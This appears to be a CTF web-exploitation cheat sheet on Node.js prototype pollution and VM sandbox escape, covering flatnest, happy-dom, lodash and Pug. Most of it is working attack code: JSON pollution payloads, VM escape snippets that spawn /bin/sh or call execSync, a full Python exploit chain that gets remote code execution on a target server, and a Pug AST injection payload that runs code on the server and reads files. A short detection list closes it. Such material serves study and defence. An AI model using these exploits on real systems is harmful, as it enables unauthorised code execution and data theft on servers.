CTF Web - Node.js Prototype Pollution & VM Escape
Table of Contents
- Prototype Pollution Basics
- flatnest Circular Reference Bypass (CVE-2023-26135)
- Gadget: Library Settings via Prototype Chain
- Node.js VM Sandbox Escape
- Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)
- Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)
- Affected Libraries
- Detection
Prototype Pollution Basics
JavaScript objects inherit from Object.prototype. Polluting it affects all objects:
Object.prototype.isAdmin = true;
const user = {};
console.log(user.isAdmin); // trueCommon Vectors
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
{"a.__proto__.isAdmin": true}Known Vulnerable Libraries
flatnest(CVE-2023-26135) —nest()with circular reference bypassmerge,lodash.merge(old versions),deep-extend,qs(old versions)
flatnest Circular Reference Bypass (CVE-2023-26135)
Vulnerability: insert() blocks __proto__/constructor, but seek() (resolves [Circular (path)] values) has NO such checks.
Code flow:
nest(obj)iterates keys- Value matching
[Circular (path)]→ callsseek(nested, path) seek()freely traversesconstructor.prototype→ returnsObject.prototype- Subsequent keys write directly to
Object.prototype
Exploit:
POST /config
{
"x": "[Circular (constructor.prototype)]",
"x.settings.enableJavaScriptEvaluation": true
}Note: 1.0.1 "fix" only guards insert(), not seek(). Completely unpatched.
Gadget: Library Settings via Prototype Chain
Pattern: Library reads optional settings from options object. Caller doesn't provide settings → falls through to Object.prototype.
Happy-DOM example (v20.x):
// Window constructor:
constructor(options) {
const browser = new DetachedBrowser(BrowserWindow, {
settings: options?.settings // options = { console }, no own 'settings'
// With pollution: Object.prototype.settings = { enableJavaScriptEvaluation: true }
});
}Node.js VM Sandbox Escape
vm is NOT a security boundary. Objects crossing the boundary maintain references to host context.
ESM-Compatible Escape (CVE-2025-61927)
const ForeignFunction = this.constructor.constructor;
const proc = ForeignFunction("return globalThis.process")();
const spawnSync = proc.binding("spawn_sync");
const result = spawnSync.spawn({
file: "/bin/sh",
args: ["/bin/sh", "-c", "cat /flag*"],
stdio: [
{ type: "pipe", readable: true, writable: false },
{ type: "pipe", readable: false, writable: true },
{ type: "pipe", readable: false, writable: true }
]
});
const output = Buffer.from(result.output[1]).toString();CommonJS Escape
const ForeignFunction = this.constructor.constructor;
const proc = ForeignFunction("return process")();
const result = proc.mainModule.require("child_process").execSync("id").toString();Why document.write Matters for Happy-DOM
document.write() creates parser with evaluateScripts: true → scripts are NOT marked with disableEvaluation. Only remaining check is browserSettings.enableJavaScriptEvaluation (bypassed via pollution).
Full Chain: Prototype Pollution to VM Escape RCE (4llD4y)
Architecture:
- Pollute
Object.prototype.settingsto enable JS eval in Happy-DOM - Submit HTML with
<script>viadocument.write()(which setsevaluateScripts: true) - Script executes in VM, escapes via
this.constructor.constructor, gets RCE
Complete exploit:
import requests
TARGET = "http://target:3000"
# Step 1: Pollution via flatnest circular reference
pollution = {
"x": "[Circular (constructor.prototype)]",
"x.settings.enableJavaScriptEvaluation": True,
"x.settings.suppressInsecureJavaScriptEnvironmentWarning": True
}
requests.post(f"{TARGET}/config", json=pollution)
# Step 2: RCE via VM escape in rendered HTML
rce_script = """
const F = this.constructor.constructor;
const proc = F("return globalThis.process")();
const s = proc.binding("spawn_sync");
const r = s.spawn({
file: "/bin/sh", args: ["/bin/sh", "-c", "cat /flag*"],
stdio: [{type:"pipe",readable:true,writable:false},
{type:"pipe",readable:false,writable:true},
{type:"pipe",readable:false,writable:true}]
});
document.title = Buffer.from(r.output[1]).toString();
"""
r = requests.post(f"{TARGET}/render", json={"html": f"<script>{rce_script}</script>"})
print(r.text.split("<title>")[1].split("</title>")[0])Lodash Prototype Pollution to Pug AST Injection (VuwCTF 2025)
Vulnerable: Lodash < 4.17.5 _.merge() allows prototype pollution via constructor.prototype.
Pug template engine gadget: Pug looks up block property on AST nodes. If a node doesn't have its own block, JS traverses the prototype chain → finds polluted Object.prototype.block.
Payload:
{
"constructor": {
"prototype": {
"block": {
"type": "Text",
"line": "1;pug_html+=global.process.mainModule.require('fs').readFileSync('/app/flag.txt').toString();//",
"val": "x"
}
}
},
"word": "exploit"
}Delivery: Base64-encode the JSON, send as ?data=<encoded>.
How it works:
_.merge()on user input setsObject.prototype.blockto malicious AST node- Pug template compilation checks
node.blockon every node - Nodes without own
blockinherit from prototype → finds injected Text node type: "Text"withline:payload injects code during template compilation- Code executes server-side, reads flag
Detection: lodash < 4.17.5 in package.json + Pug/Jade template engine.
Affected Libraries
- happy-dom < 20.0.0 (JS eval enabled by default), 20.x+ (if re-enabled via pollution)
- vm2 (deprecated)
- realms-shim
- lodash < 4.17.5 (
_.merge()prototype pollution)
Detection
flatnestinpackage.json+ endpoints callingnest()on user inputhappy-domorjsdomrendering user-controlled HTML- Any
vm.runInContext,vm.Scriptusage